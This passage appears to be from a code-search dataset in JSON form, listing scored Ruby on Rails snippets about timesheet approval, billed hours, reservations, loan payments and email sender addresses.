errorMsg)\n raise ActiveRecord::Rollback\n end\n # Approved days for TimeEntry Updates\n wktime_helper = Object.new.extend(WktimeHelper)\n @approve_days = params[:approved_days] if params[:approved_days].present?\n if @approve_days.present?\n\n if params[:wktime_reject].present?\n sendRejectionEmail()\n end\n\n\n @approve_days.each do |approve_day|\n @find_time_entries = TimeEntry.where(:user_id=> params[:user_id], :spent_on => approve_day.to_date)\n if @find_time_entries.present?\n @sum = 0\n @hours_per_day = @find_time_entries.each { |a| @sum+=a.hours if a.hours }\n end\n logtime_projects = []\n permissions = []\n if params[:time_entry].present?\n prj_entry = [];\n params[:time_entry].collect{|rec| prj_entry << rec['project_id']}\n prj_entry.uniq.each do |time_entry|\n project = Project.find(time_entry)\n logtime_projects << User.current.roles_for_project(project)\n if logtime_projects.flatten.present?\n logtime_projects.each do |log|\n log.each do |rec|\n permissions << rec.permissions\n wktime_helper = Object.new.extend(WktimeHelper)\n user = User.find(params[:user_id])\n approve_status = wktime_helper.check_time_log_entry_for_approve(approve_day,user)\n if approve_status==false\n if permissions.flatten.present? && permissions.flatten.include?(:l3)\n update_l1_or_l2_record(params, approve_day, project,'l3')\n elsif permissions.flatten.present? && permissions.flatten.include?(:l2) && !permissions.flatten.include?(:l3)\n update_l1_or_l2_record(params, approve_day, project,'l2')\n elsif permissions.flatten.include?(:l1) && !permissions.flatten.include?(:l2) && !permissions.flatten.include?(:l3)\n update_l1_record(params, approve_day, project)\n end\n end\n permissions = []\n @wktime.user_id = params[:user_id]\n @wktime.statusupdate_on =Date.today\n @wktime.statusupdater_id = User.current.id\n @wktime.save if @wktime.present? && (@wktime.hours != nil )\n end\n end\n else\n []\n end\n logtime_projects = []\n end\n end\n if !params[:wktime_submit].blank? && useApprovalSystem\n @wktime.submitted_on = Date.today\n @wktime.submitter_id = User.current.id\n @wktime.status = :l1\n if !Setting.plugin_redmine_wktime['wktime_uuto_approve'].blank? &&\n Setting.plugin_redmine_wktime['wktime_uuto_approve'].to_i == 1\n @wktime.status = :a\n end\n end\n end\n elsif params[:user_ids].present? && wktime_helper.check_bio_permission_list_user_id_project_id('l3',User.current.id,[params[:project_id].to_i],@startday)\n\n approve_l3\n elsif params[:user_ids].present? && wktime_helper.check_bio_permission_list_user_id_project_id('l2',User.current.id,[params[:project_id].to_i],@startday)\n approve_home_l2\n elsif params[:group_id].present?\n approve_group_l3\n end\n end\n\n Rails.logger.info \"------------ before view ----------------\"\n Rails.logger.info \"Time elapsed #{(Time.now - start_time)*1000} milliseconds\"\n start_time = Time.now\n Rails.logger.info \"---------- END -------------\"\n\n\n\n respond_to do |format|\n format.html {\n if errorMsg.nil?\n flash[:notice] = respMsg\n #redirect_back_or_default :action => 'index'\n # redirect_to :action => 'index' , :tab => params[:tab]\n if !params[:user_ids].present?\n redirect_to :action => 'edit', :user_id => params[:user_id], :startday => @startday\n else\n redirect_to :action => 'index' , :tab => params[:tab]\n end\n else\n flash[:error] = respMsg\n if !params[:enter_issue_id].blank? && params[:enter_issue_id].to_i == 1\n redirect_to :action => 'edit', :user_id => params[:user_id], :startday => @startday,\n :enter_issue_id => 1\n else\n redirect_to :action => 'edit', :user_id => params[:user_id], :startday => @startday\n end\n end\n }\n format.api{\n if errorMsg.blank?\n render :text => respMsg, :layout => nil\n else\n @error_messages = respMsg.split('\\n')\n render :template => 'common/error_messages.api', :status => :unprocessable_entity, :layout => nil\n end\n }\n end\n\n Rails.logger.info \"++++elapsed time raja+++++++++++\"\n Rails.logger.info \"Time elapsed #{(Time.now - start_time)*1000} milliseconds\"\n Rails.logger.info \"++++End +++++++\"\n end", "title": "" }, { "docid": "92c11cfe6229a3ff479185557e9354b0", "score": "0.4863547", "text": "def sum_hours_spent_on(day)\n TimeEntry.\n where(spent_on: @current_date + day.days, user_id: @current_user.id).\n sum(:hours)\n end", "title": "" }, { "docid": "ae12792d9500e35806b6e79b454d4d77", "score": "0.48590344", "text": "def set_time_entry_formatted_end_time\n data=params\n @time_entry = Physical::Timeandexpenses::TimeEntry.find(data[:id])\n @previous_final_billed_amount = @time_entry.final_billed_amount\n actual_duration = @dur_setng_is_one100th ? one_hundredth_timediffernce(@time_entry.actual_duration) : one_tenth_timediffernce(@time_entry.actual_duration)\n @previous_duration = actual_duration\n @previous_duration = @time_entry.actual_duration\n @old_start_time = @time_entry.send(:formatted_end_time)\n @error=false\n ActiveRecord::Base.transaction do\n unless @time_entry.start_time.blank?\n @time_entry.end_time = Time.parse(@time_entry.time_entry_date.to_s + ' '+ data[:value])\n time_diff=@time_entry.get_time_difference\n unless(time_diff.nil? && time_diff.kind_of?(String))\n if(time_diff > 0)\n @time_entry.update_attributes(:actual_duration=>time_diff*60.0)\n @billed_amount = @time_entry.calculate_billed_amount\n @final_billed_amount = @time_entry.calculate_final_billed_amt\n @time_entry.save(false)\n @time_diff =@time_entry.get_time_difference\n #<!-------------Feature 11298----- ---------->\n get_receiver_and_provider\n if params[:time_entry_date].present?\n data=params\n\t\t unless @receiver.nil?\n\t\t\t @saved_time_entries_new = Physical::Timeandexpenses::TimeEntry.find(:all,:conditions => ['employee_user_id = ? and time_entry_date = ? and matter_people_id IS NULL and status = ? and is_billable = ?', @receiver.id, (!data[:time_entry_date].blank? ? data[:time_entry_date] : Time.zone.now.to_date), 'Open', true])\n else\n @saved_time_entries_new = []\n end\n else\n set_condition(@receiver,@time_entry, params[:view_type], params[:start_date], params[:end_date])\n @saved_time_entries_new = Physical::Timeandexpenses::TimeEntry.find(:all,:include=>[:expense_entries,:acty_type,:created_by,:performer,:matter],:conditions => @t_condition)\n end\n get_total_hours_for_all_status\n get_total_billable_time_amount_status\n #<!------------------ ----------------------- >\n else\n @error=true\n flash[:error] = \"To time should be greater than Start time\"\n @errorgenerated=time_diff\n end\n else\n @error=true\n flash[:error] = \"To time should be greater than Start time\"\n end\n else\n @error=true\n flash[:error] = t(:flash_start_time_format)\n end\n end\n rescue\n @old_start_time = @time_entry.end_time\n @time_entry.end_time = @old_end_time\n render :text => @time_entry.formatted_end_time\n end", "title": "" }, { "docid": "0f54be8c61c38bbb8d3b1c20ec62cae3", "score": "0.48526856", "text": "def update_timesheets\n # total_hours = project_timesheets.pluck(:working_hours).sum\n # total_amount = project.hourly_charge * total_hours\n update(total_amount: total_amount, total_hours: total_hours)\n project_timesheets.update_all(invoice_id: id, invoice_raised: true)\n end", "title": "" }, { "docid": "84ab0a30b0d0ccc745d8421bc7c8b201", "score": "0.4846327", "text": "def adjust_time(date_time)\n date_time.beginning_of_day + HOUR_TO_REMIND.hours\n end", "title": "" }, { "docid": "dc12fce0a20bc660467a6eab9c9f5567", "score": "0.48457268", "text": "def add_time(quarters)\n\n end", "title": "" }, { "docid": "8fff00287cef54a804e9d2a6d4242721", "score": "0.48449102", "text": "def update_time\n self.time = self.hours.to_i*3600 + self.minutes.to_i*60\n end", "title": "" }, { "docid": "80d940f9175c4355f5d9347b9d086bfb", "score": "0.48439333", "text": "def total_hours(user=nil, extra = false)\n if user\n hours = self.hours.where(:user_id => user)\n else\n hours = self.hours\n end\n if extra\n hours = hours.where(:extra => true)\n end\n hours.to_a.sum { |hour| hour.amount }\n end", "title": "" }, { "docid": "90b75d0a71c323d4dcf5683465d46cd9", "score": "0.4838124", "text": "def update\n @viagem = Viagem.find(params[:id])\n \n\n respond_to do |format|\n if @viagem.update_attributes(params[:viagem])\n if @viagem.data_chegada!= nil && @viagem.data_partida!= nil && @viagem.preco_esperado!= nil\n @viagem.duracao = @viagem.data_chegada - @viagem.data_partida\n if @viagem.duracao == 0\n @viagem.preco_medio = @viagem.preco_esperado\n else\n @viagem.preco_medio = @viagem.preco_esperado/@viagem.duracao\n end\n @viagem.save\n end\n format.html { redirect_to @viagem, notice: 'Viagem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @viagem.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3cff6b405845b5861fabf22afef510d", "score": "0.4837566", "text": "def asignar_a_espera(selected)\n i=0\n @reservas_espera=Reserva.where(\"estado=?\" ,0)\n selected.each do |reserva|\n @reserva=Reserva.find(reserva.to_i)\n if @reservas_espera.length==0\n @trayecto =Trayecto.where(\"reserva_id=?\", @reserva.id)\n if @trayecto.length!=0\n @trayecto1= @trayecto.first\n @trayecto1.destroy\n end\n @reserva.destroy\n else\n fecha= @reserva.fecha\n @fecha1= (fecha + 3.hours).to_datetime\n @fecha2= (fecha - 3.hours).to_datetime\n @reserva_a=@reservas_espera.where(fecha: @fecha2..@fecha1)\n\n # si hay reservas en espera con esa fecha y la reserva a eliminar no esta en espera\n if @reserva_a.length !=0 && @reserva.mobibus_id !=0 && @reserva.estado !=0\n mobibus_id=@reserva.mobibus_id\n @trayecto =Trayecto.where(\"reserva_id=?\", @reserva.id)\n\n if @trayecto.length !=0\n @trayecto1= @trayecto.first\n @trayecto1.destroy\n end\n\n @reserva.destroy\n @reserva_cambiar=@reserva_a.first\n @reserva_cambiar.update_attributes(mobibus_id:mobibus_id, estado:2)\n ##crea el trayecto##\n ReservasHelper.crear(@reserva_cambiar.id)\n ## debe llamarse al método notificar cliente ##\n ##no me sirve para asignar mobibus#\n else\n @trayecto =Trayecto.where(\"reserva_id=?\", @reserva.id)\n if @trayecto.length!=0\n @trayecto1= @trayecto.first\n @trayecto1.destroy\n end\n @reserva.destroy\n end\n end\n end\n respond_to do |format|\n format.html { redirect_to action: 'index'}\n end\n\n\n end", "title": "" }, { "docid": "94022c1ef67a92c0c4da0b6d18a02fef", "score": "0.48252288", "text": "def procesar_pagos_adelantados(importe)\n @importe = importe.to_f\n @pagado_bandera=false\n calcular_proporciones\n @pagos_sin_liquidar = Pagogrupal.find(:all, :conditions => [\"credito_id = ? AND pagado = 0\", @credito.id], :order => \"num_pago\")\n @pagos_sin_liquidar.each do |pago|\n #---- vamos a ver si alcanza para pagar algo adelantado ----\n #--- buscamos el detalle de los pagos ----\n detalle_pagos = Pago.find(:all, :conditions => [\" credito_id = ? and num_pago = ?\", @credito.id, pago.num_pago])\n if @importe >= (pago.capital_minimo + pago.interes_minimo)\n #---- Capital e interes -----\n Pago.transaction do\n begin\n pago.update_attributes!(:pagado => 1)\n detalle_pagos.each do |p| p.update_attributes!(:pagado => 1) end\n @importe-=pago.capital_minimo\n @importe-=pago.interes_minimo\n @pagado_bandera=true\n rescue ActiveRecord::StatementInvalid\n end\n end\n\n else\n\n #--- hacemos el calculo de proporciones para el sobrante ----\n Pago.transaction do\n begin\n importe_capital = @proporcion_capital * @importe\n importe_interes = @proporcion_interes * @importe\n importe_individual_capital = importe_capital / @numero_clientes * 1.0\n importe_individual_interes = importe_interes / @numero_clientes * 1.0\n #---- lo aplicamos ---\n p_capital_minimo = pago.capital_minimo.to_f - importe_capital.to_f\n p_interes_minimo = pago.interes_minimo.to_f - importe_interes.to_f\n pago.update_attributes!(:capital_minimo => p_capital_minimo, :interes_minimo => p_interes_minimo)\n detalle_pagos.each{|p|\n p_capital_minimo_individual = p.capital_minimo.to_f - importe_individual_capital.to_f\n p_interes_minimo_individual = p.interes_minimo.to_f - importe_individual_interes.to_f\n p.update_attributes!(:capital_minimo => p_capital_minimo_individual, :interes_minimo => p_interes_minimo_individual)\n p.update_attributes!(:principal_recuperado => p.capital_minimo)\n }\n @importe-= importe_capital\n @importe-= importe_interes\n @pagado_bandera=true\n rescue ActiveRecord::StatementInvalid\n end\n \n end\n end\n end\n calcular_capital_total\n return @pagado_bandera\n end", "title": "" }, { "docid": "0641392c563667685826e54637424505", "score": "0.48213232", "text": "def update\n ano = params[:agendamento_viagem][\"data_hora_saida(1i)\"].to_i\n mes = params[:agendamento_viagem][\"data_hora_saida(2i)\"].to_i\n dia = params[:agendamento_viagem][\"data_hora_saida(3i)\"].to_i\n hora = params[:agendamento_viagem][\"data_hora_saida(4i)\"].to_i\n minuto = params[:agendamento_viagem][\"data_hora_saida(5i)\"].to_i\n\n @agendamento_viagem.data_hora_saida = DateTime.new(ano,mes,dia,hora,minuto,0)\n respond_to do |format|\n if @agendamento_viagem.update(agendamento_viagem_params)\n flash.now[:notice] = 'Viagem atualizada com sucesso.'\n format.html { redirect_to agendamento_viagens_url }\n format.json { render :show, status: :ok, location: @agendamento_viagem }\n else\n\n @veiculos = Veiculo.combo_manutencao_preventiva\n @condutores = Condutor.all.order(nome: :asc)\n\n format.html { render :edit }\n format.json { render json: @agendamento_viagem.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fcbddcb575b6e07f63247fb82ba9d828", "score": "0.48089424", "text": "def add_hours(hours = 1)\n hours = hours.to_i\n cur_hour = @time.hour\n next_hour = cur_hour + hours\n \n if next_hour >= 24\n @time = self.add_days(1).stamp(:datet => false, :hour => 0)\n hours_left = (hours - 1) - (24 - cur_hour)\n return self.add_hours(hours_left) if hours_left > 0\n elsif next_hour < 0\n @time = self.add_days(-1).stamp(:datet => false, :hour => 23)\n hours_left = hours + cur_hour + 1\n self.add_hours(hours_left) if hours_left < 0\n else\n @time = self.stamp(:datet => false, :hour => next_hour)\n end\n \n return self\n end", "title": "" }, { "docid": "44c37597f63f9b3d09eb0b67328baca6", "score": "0.48061362", "text": "def hora_extra_params\n params.require(:hora_extra).permit(:codigo, :nombre, :horaInicio, :horaFin, :precio, dia:[])\n end", "title": "" }, { "docid": "2b17320df754d0d42429e4920a12d01a", "score": "0.48024225", "text": "def gera_boletos_iniciais lote_id\n\n lote = Lote.find(lote_id)\n venda = lote.get_venda\n data_venda = venda.data_escritura\n data_venda = data_venda.nil? ? venda.data_contrato : data_venda\n\n #dt = (data_venda + 1.year + 1.month - 1.day).to_s(:db)\n dt = (data_venda + (venda.primeira_parcela_atualizar-1).month + 15.day).to_s(:db)\n\n sql = <<SQL_TYPE\n select *\n from promissorias p\n where p.venda_id = #{venda.id}\n and p.data_vencimento < '#{dt}'\n and p.data_vencimento <> '#{(data_venda).to_s(:db)}'\n order by p.data_vencimento\nSQL_TYPE\n\n flag = true\n a = []\n promissorias = Promissoria.find_by_sql(sql)\n promissorias.each do |p|\n ##\n ## Evitar correcao monetaria para parcelas mensais\n ## CORRIGIR: nao calcula correcao entre dt_venda e dt_primeira_mensal para intermediarias\n if !p.pago? then\n if flag and (p.cod_tipo_parcela == 29) then\n venda.data_escritura = p.data_vencimento\n venda.save\n flag = false\n end\n\n tipo_boleto = 46 #normal\n b = p.gera_boletob tipo_boleto, \"\", \"\"\n a << \"#{p.num} : #{p.data_vencimento} ** valor inicial = #{p.valor_original} * valor boleto = #{b.valor_titulo} *** (#{b.cod_sac})\"\n end\n end\n\n venda.data_escritura = data_venda\n venda.save\n\n return a\n end", "title": "" }, { "docid": "eaca645b7fbbc596e908135f66a4def7", "score": "0.479951", "text": "def actualizar_reporte\n if (self.estado == \"atendido\")\n fecha= self.fecha_consulta\n mes= fecha.strftime('%B')\n anho= fecha.strftime('%Y')\n reporte= ReporteEstadistico.find_or_create_by(area_id: self.area_id, doctor_id: self.doctor_id, mes: mes, anho: anho)\n cant= reporte.cantidad\n if (cant.nil?)\n reporte.update_attribute(:cantidad, 1)\n else\n reporte.update_attribute(:cantidad, cant + 1)\n end\n end\n end", "title": "" }, { "docid": "9ab4258f07836d9dea0c15fda1c1a308", "score": "0.47955626", "text": "def positivo(dia,mes,ano,hora,minuto,valor)\n\n\twhile valor > 0\n\t\tif minuto == 59\n\t\t\tminuto = 0\n\t\t\tif hora == 23\n\t\t\t\thora = 0\n\n\t\t\t\tr1 = \"#{@maiores.include?(mes)}\"\n\t\t\t\tr2 = \"#{@menores.include?(mes)}\"\n\n\t\t\t\tif mes == 2\n\t\t\t\t\tif dia == 28\n\t\t\t\t\t\tdia = 1\n\t\t\t\t\t\tmes = 3\n\t\t\t\t\telsif dia < 28\n\t\t\t\t\t\tdia += 1\n\t\t\t\t\tend\n\t\t\t\telsif r1 == \"true\"\n\t\t\t\t\tif dia < 31\n\t\t\t\t\t\tdia += 1\n\t\t\t\t\telsif dia == 31\n\t\t\t\t\t\tdia = 1\n\t\t\t\t\t\tif mes == 12\n\t\t\t\t\t\t\tmes = 1\n\t\t\t\t\t\t\tano += 1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tmes += 1\n\t\t\t\t\t\tend \n\t\t\t\t\tend\n\t\t\t\telsif r2 == \"true\"\n\t\t\t\t\tif dia < 30\n\t\t\t\t\t\tdia += 1\n\t\t\t\t\telsif dia == 30\n\t\t\t\t\t\tdia = 1\n\t\t\t\t\t\tmes += 1\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\thora += 1\n\t\t\tend\n\t\telse\n\t\t\tminuto += 1\n\t\tend\n\t\tvalor -= 1\n\t\t#puts \"Dia: #{dia}/#{mes}/#{ano} #{hora}:#{minuto}\"\n\tend\n\t\tputs \"Dia: #{dia}/#{mes}/#{ano} #{hora}:#{minuto}\"\nend", "title": "" }, { "docid": "2ccddc24d4a44781e54673f74a437083", "score": "0.47925144", "text": "def in_hours; end", "title": "" }, { "docid": "2ccddc24d4a44781e54673f74a437083", "score": "0.47925144", "text": "def in_hours; end", "title": "" }, { "docid": "9edaaf6b1c363d43c8da9c1106d5205f", "score": "0.4791469", "text": "def TotalTime=(v) Axlsx::validate_int", "title": "" }, { "docid": "f1fcbe71372972493b6c78eb5b133ba5", "score": "0.4791088", "text": "def real_hours\n actual_hours + self.remaining_hours\n end", "title": "" }, { "docid": "f90375d7685c3a65c1cfb49df79b77ca", "score": "0.479029", "text": "def updateBilledHours(tEntry, invItemId)\n\t\ttEntry.custom_field_values = {getSettingCfId('wktime_billing_id_cf') => invItemId}\n\t\ttEntry.save\t\t\n\tend", "title": "" }, { "docid": "f85aa979ae4170727c54965501d3c663", "score": "0.47882003", "text": "def controlar_celo(vaca)\n #obtengo actividad promedio de la vaca\n actividad_vc_prom = vaca.actividades.where(\"tipo = 'recorrido_promedio' AND registrada >= ?\", 30.hours.ago.to_datetime).last\n #puts \"vaca \" + vaca.caravana.to_s + \" actividad promedio \" + actividad_vc_prom.valor.to_s\n\n #genero array de actividad de vaca y actividad promedio para comparar y detectar celo\n actividades_vc,actividades_prom = generate_actividad_vaca(vaca) \n celo_detectado = 0 \n\n 20.times do |n|\n #inicializo las variables en cada iteracion\n periodo = n\n casos_prop = 0\n casos_prom = 0\n celo_start = nil\n hora_start = 0\n\n #si ya se detecto celo , no controlo\n if celo_detectado == 0\n 7.times do |k|\n ind = periodo + k\n if ind < 24\n if (actividades_prom[ind] > 0) && actividades_vc[ind] > (actividades_prom[ind] * 1.65)\n #aumento casos para posible celo\n casos_prom = casos_prom + 1\n if hora_start == 0\n hora_start = ind \n end\n end\n\n if actividades_vc[ind] > 0 && !actividad_vc_prom.nil? && actividades_vc[ind] > (actividad_vc_prom.valor*1.55)\n if (actividades_prom[ind] > 0) && actividades_vc[ind] > (actividades_prom[ind] * 1.35)\n casos_prop = casos_prop + 1\n end\n end\n end\n end\n end\n \n #regular umbral . 4? si se detectaron varios casos, la vaca esta en celo\n if casos_prop >= 4 && casos_prom >= 3\n celo_start = Time.now.advance(:hours => (-23+hora_start).to_i).localtime\n celo_start = celo_start.change(:min => 0)\n #vaca.celos.create!(comienzo: celo_start,\n # probabilidad: \"Alta\",\n # caravana: vaca.caravana,\n # causa: \"notable aumento de actividad en varias horas\")\n celo_detectado = 1\n puts \"vaca en celo \" + vaca.caravana.to_s + \" comienzo \" + celo_start.localtime.to_s+ \" prop: \" + casos_prop.to_s + \" prom: \" + casos_prom.to_s\n \n #si esta en celo creo el suceso\n #vaca.sucesos.create!(momento: celo_start, tipo: \"celo\")\n end \n end \n end", "title": "" }, { "docid": "d86592266073dd46221cb56fa82f27a8", "score": "0.4785496", "text": "def hours_open\n super + 5\n end", "title": "" }, { "docid": "f62d0f76a6618276cf5a3fd7c9c4b79b", "score": "0.4783188", "text": "def update\n arr = @@arrid\n campo = []\n campo[6] = params[:Campo1].to_i\n campo[5] = params[:Campo2].to_i \n campo[4] = params[:Campo3].to_i\n campo[3] = params[:Campo4].to_i \n campo[2] = params[:Campo5].to_i\n campo[1] = params[:Campo6].to_i\n campo[0] = params[:Campo7].to_i\n captura = []\n for i in 0..arr.length-1 do\n captura << campo[i]\n end\n updatehash = Hash.new\n for i in 0..arr.length-1 do\n updatehash [arr[i]] = {\"horas\" => captura[i]}\n end\n Hour.update(updatehash.keys,updatehash.values)\n respond_to do |format| \n format.html { redirect_to horas_incurridas_path(0,0), notice: 'Se ha Actualiado la informacion.' } \n format.js \n end\n \n end", "title": "" }, { "docid": "be9255e284c9242f61aed724d5591735", "score": "0.4783121", "text": "def update\n @orc_empenho = OrcEmpenho.find(params[:id])\n \n if session[:created]== 1\n @ficha = OrcFicha.find(:all, :conditions => ['id =?', session[:ficha_id]])\n @itens_empenho = OrcEmpenhoIten.find(:all, :conditions => [\"orc_empenho_id =?\" , params[:id]])\n empenhado= @ficha[0].saldo_empenhado\n saldo = @ficha[0].saldo\n for item in @itens_empenho\n valor_item=item.total\n # Atualiza saldo na ficha\n empenhado= empenhado + valor_item\n saldo = saldo - valor_item\n end\n @ficha[0].saldo = saldo\n @ficha[0].saldo_empenhado = empenhado\n @ficha[0].save\n if !@orc_empenho.orc_pedido_compra_id.nil?\n @ata = OrcAta.find(:all, :conditions=>['id =?', @orc_empenho.orc_pedido_compra.ata_id])\n if !@ata.empty?\n @itens_empenho = OrcEmpenhoIten.find(:all, :conditions=>['orc_empenho_id=?',@orc_empenho.id ])\n for item in @itens_empenho\n #id=@orc_empenho.orc_empenho_iten.id\n @orc_ata_item = OrcAtaIten.find(:all, :conditions=>['orc_ata_id=? AND descricao=?', @ata[0].id, item.descricao])\n saldo_anterior= @orc_ata_item[0].saldo\n teste=@orc_ata_item[0].id\n quantidade=item.quantidade\n saldo_atualizado= saldo_anterior- quantidade\n @orc_ata_item[0].saldo = saldo_atualizado\n item.saldo = item.quantidade\n @orc_ata_item[0].save\n item.save\n end\n end\n end\n session[:created]= 0\n end\n if params[:cancela].to_i == 1\n @orc_empenho.cancelado=1\n\n @ata = OrcAta.find(:all, :conditions=>['id =?', @orc_empenho.orc_pedido_compra.ata_id])\n if !@ata.empty?\n @itens_empenho = OrcEmpenhoIten.find(:all, :conditions=>['orc_empenho_id=?',@orc_empenho.id ])\n for item in @itens_empenho\n #id=@orc_empenho.orc_empenho_iten.id\n @oc_ata_item = OrcAtaIten.find(:all, :conditions=>['orc_ata_id=? AND descricao=?', @ata[0].id, item.descricao])\n saldo_anterior= @oc_ata_item[0].saldo\n teste=@oc_ata_item[0].id\n quantidade=item.quantidade\n saldo_atualizado= saldo_anterior + quantidade\n @oc_ata_item[0].saldo = saldo_atualizado\n item.saldo = saldo_atualizado\n @oc_ata_item[0].save\n item.save\n end\n end\n @orc_empenho.save\n end\n respond_to do |format|\n if @orc_empenho.update_attributes(params[:orc_empenho])\n @itens_empenho = OrcEmpenhoIten.find(:all, :conditions => ['orc_empenho_id =?',@orc_empenho.id])\n end\n total_geral= 0\n for item in @itens_empenho\n if item.quantidade == 0\n item.destroy\n else\n total_geral= total_geral + item.total\n item.total_geral = total_geral\n @orc_empenho.valor_total=total_geral\n @orc_empenho.valor_saldo=total_geral\n item.save\n end\n\n end\n if params[:cancela].to_i == 1\n @orc_empenho.cancelado=1\n end\n @orc_empenho.save\n\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@orc_empenho) }\n format.xml { head :ok }\n\n end\n end", "title": "" }, { "docid": "1e5550cbf0c641d737dae60449ad1e81", "score": "0.47812858", "text": "def restar_cantidad_a_articulo\n self.lista_de_articulos.each do |registro|\n articulo = Articulo.find(registro.articulo_id)\n articulo.update_attribute(:cantidad, articulo.cantidad-registro.cantidad)\n end \n end", "title": "" }, { "docid": "b47cc74f0ed0849481eccc1258e667b1", "score": "0.47722304", "text": "def total_hours_accounted_last_week\n saved_time_entries = Physical::Timeandexpenses::TimeEntry.find(:all,\n :conditions => ['employee_user_id = ? and time_entry_date between ? and ?', get_employee_user_id,1.week.ago,5.days.from_now(1.week.ago)])\n saved_time_entries.collect(&:actual_duration).inject(0){|key, value| key + value}\n end", "title": "" } ]
d7f583a266434e5d5772c4707af0c2a5
Returns the Sender value of the mail object, as a single string of an address spec. A sender per RFC 2822 must be a single address. Example:
[ { "docid": "da4bcc2c10c4e615a0b05b78f43a8fa4", "score": "0.0", "text": "def sender( val = nil )\n default :sender, val\n end", "title": "" } ]
[ { "docid": "d22c6e4ad0f219233d881676964807ff", "score": "0.7476716", "text": "def from\n address = @mail[:from].formatted\n Mail::Address.new(address.first)\n end", "title": "" }, { "docid": "76f30d2a181d4dc51061a686ff623149", "score": "0.7033126", "text": "def mail_from\n if @yaml[\"mail\"][\"from\"] != \"example@example.com\"\n return @yaml[\"mail\"][\"from\"]\n end\n end", "title": "" }, { "docid": "8f73d2018b9bc97bed3a633472ab0396", "score": "0.6949452", "text": "def sender_email\n msg['from_email'] || msg['sender'] || entry['sender'] || reject['sender']\n end", "title": "" }, { "docid": "73fb8108267a42004c48371876961857", "score": "0.6905803", "text": "def safe_mail_from\n name = self.mail.from_name_if_present\n if name.nil?\n return nil\n end\n name = name.dup\n self.info_request.apply_censor_rules_to_text!(name)\n return name\n end", "title": "" }, { "docid": "e948cf28999dfb2b068433a22e1e08b3", "score": "0.6781707", "text": "def email\n if md = RE_EMAIL.match(contact.to_s)\n md[0]\n else\n nil\n end\n end", "title": "" }, { "docid": "59ba51a7b4a90a11edc91fcf1f25ee46", "score": "0.673723", "text": "def sender_address\n @sender_address || ''\n end", "title": "" }, { "docid": "4bd712d8c8844b76d75cbdc920693eb9", "score": "0.66182214", "text": "def sender_address\n case from\n when Hash; Hash[*from.first] if from.size > 1\n when Array; from.first if from.size > 1\n end\n end", "title": "" }, { "docid": "2de0fefbe912282ffbbab19b232cb658", "score": "0.64918447", "text": "def mail_from_project_sender\n sender = if @issue\n p = @issue.project\n s = CustomField.find_by_name('project-sender-email')\n p.custom_value_for(s).try(:value) if p.present? && s.present?\n end\n (sender.present? && sender) || Setting.mail_from\n end", "title": "" }, { "docid": "bbe33902d3785e86614b87098e03d569", "score": "0.64867985", "text": "def email_from\n case self.type\n when 'test'\n \"milo.thurston@oerc.ox.ac.uk\"\n when 'left','sdm','lcc','cde'\n \"neil.caithness@oerc.ox.ac.uk\"\n else\n \"noreply.oboe@oerc.ox.ac.uk\"\n end\n end", "title": "" }, { "docid": "087e3854fbf4d29ea1f3c3784b227bbc", "score": "0.6408438", "text": "def from_address\n site.email_from_address || site.support_email\n end", "title": "" }, { "docid": "8f55692e3b66ad9a06f57345ac03f6de", "score": "0.62793165", "text": "def sender\n request.from.first.to_s\n end", "title": "" }, { "docid": "05faf7f3659b5eeaa368dd709b98ea9a", "score": "0.62627524", "text": "def sms_email_address\n carrier.sms_email_address(self) if carrier\n end", "title": "" }, { "docid": "eb6f467476d8457a17a3b967f84471a9", "score": "0.62608147", "text": "def sender(sender_id)\n if sender = User.find(sender_id)\n address = default_sender_address\n address.display_name = sender.name\n address.format\n end\n end", "title": "" }, { "docid": "83ff2bb961e68318082542003d523954", "score": "0.6253672", "text": "def from_name\n site.email_from_name || site.title\n end", "title": "" }, { "docid": "b2162025e2ce484da4cbae3a48d8813a", "score": "0.6252591", "text": "def default_sender_address\n address = Mail::Address.new(Gitlab.config.gitlab.email_from)\n address.display_name = \"GitLab\"\n address\n end", "title": "" }, { "docid": "3163e7ea17790d3bb61f20e7c41ee909", "score": "0.61330676", "text": "def identifier\n unless full_name.blank?\n full_name\n else\n email.split('@').join(' from ')\n end\n end", "title": "" }, { "docid": "bf90a6c5901edab6ef9fb8d93179e09e", "score": "0.6127145", "text": "def email_address\n require \"mail\"\n address = Mail::Address.new email\n address.display_name = name.dup\n address.format\n end", "title": "" }, { "docid": "549899b254454a8ed5ecfe2d7b1b9fa7", "score": "0.61091924", "text": "def from_email_obscured\n return \"\" if from_email.blank?\n\n sender_parts = from_email.split(\"@\")\n if sender_parts.size > 1\n person_name = sender_parts.first\n if person_name.length > 2\n return \"#{person_name[0..(person_name.length - 3)]}..@#{sender_parts.last}\"\n else\n return \"..@#{sender_parts.last}\"\n end\n end\n\n \"\"\n end", "title": "" }, { "docid": "83a2cce99aa107dda5ab7a13936ab19d", "score": "0.6078363", "text": "def mailfrom(from_addr); end", "title": "" }, { "docid": "5fc82ff3eb832e4fe4a617126661ea71", "score": "0.60432273", "text": "def email\n @net_ldap_entry[:mail].first\n end", "title": "" }, { "docid": "902778180a7c48cd28e2af5353ba5794", "score": "0.60275626", "text": "def from\n @from ||= unquoted_address_header(:from)\n end", "title": "" }, { "docid": "ea6d9458eca12f1834659e546cfb9f2a", "score": "0.60043335", "text": "def email\n mail.first\n end", "title": "" }, { "docid": "ea6d9458eca12f1834659e546cfb9f2a", "score": "0.60043335", "text": "def email\n mail.first\n end", "title": "" }, { "docid": "a4e3aeece5fa670eb50f6b717ce879ac", "score": "0.5999794", "text": "def sender_number\n if self.respond_to? :carrier\n return self[:number]\n else \n return self[:from]\n end\n end", "title": "" }, { "docid": "566cbf3eba5956308d21af0790f05b49", "score": "0.5989401", "text": "def identifier\n name.presence || email.split('@').join(' from ')\n end", "title": "" }, { "docid": "0493b3632b53433accfdfb4b4a87b0be", "score": "0.595015", "text": "def mailboxer_email(object)\n return email\n end", "title": "" }, { "docid": "da36c11d23222e6ad7d9ccac82c4605a", "score": "0.5946651", "text": "def email\n pull unless @details\n begin\n return @details.email_address.address\n rescue\n return nil\n end\n end", "title": "" }, { "docid": "f7ac58ca8089f168ace27567958a2af4", "score": "0.593382", "text": "def parse_mail_from( data )\n mailfrom, esmtp_info = data.split(\"\\0\", 2 